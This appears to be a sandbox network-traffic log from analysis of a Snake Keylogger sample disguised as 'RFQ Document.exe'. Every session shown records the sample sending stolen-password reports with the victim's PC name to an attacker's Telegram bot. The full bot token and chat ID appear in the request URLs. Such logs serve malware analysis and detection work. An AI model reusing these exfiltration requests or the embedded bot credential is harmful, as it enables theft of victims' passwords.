2021-09-28 05:59:35 UTC	377	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 61 34 36 33 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eea46375Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:36 UTC	377	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:36 UTC	378	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12824,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808775,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.4	50059	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:36 UTC	378	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eec0fef0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:36 UTC	378	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 63 30 66 65 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eec0fef0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:36 UTC	379	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:36 UTC	379	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12825,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808776,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.4	50060	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:36 UTC	380	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eee725a5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:36 UTC	380	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 65 37 32 35 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eee725a5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:36 UTC	380	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:36 UTC	381	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12826,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808776,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49798	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:25 UTC	38	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c4bb9991 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:25 UTC	38	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 34 62 62 39 39 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c4bb9991Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:25 UTC	38	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:25 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:25 UTC	39	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12604,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808705,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.4	50061	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:36 UTC	381	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ef16d25f Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:36 UTC	382	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 31 36 64 32 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ef16d25fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:36 UTC	382	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:36 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:36 UTC	382	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12827,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808776,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.4	50062	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:37 UTC	383	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ef526da2 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:37 UTC	383	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 35 32 36 64 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ef526da2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:37 UTC	384	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:37 UTC	384	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12828,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.4	50063	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:37 UTC	385	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ef716bed Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:37 UTC	385	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 37 31 36 62 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ef716bedContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:37 UTC	385	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:37 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:37 UTC	386	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12829,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.4	50065	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:37 UTC	386	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ef89435d Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:37 UTC	386	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 38 39 34 33 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ef89435dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
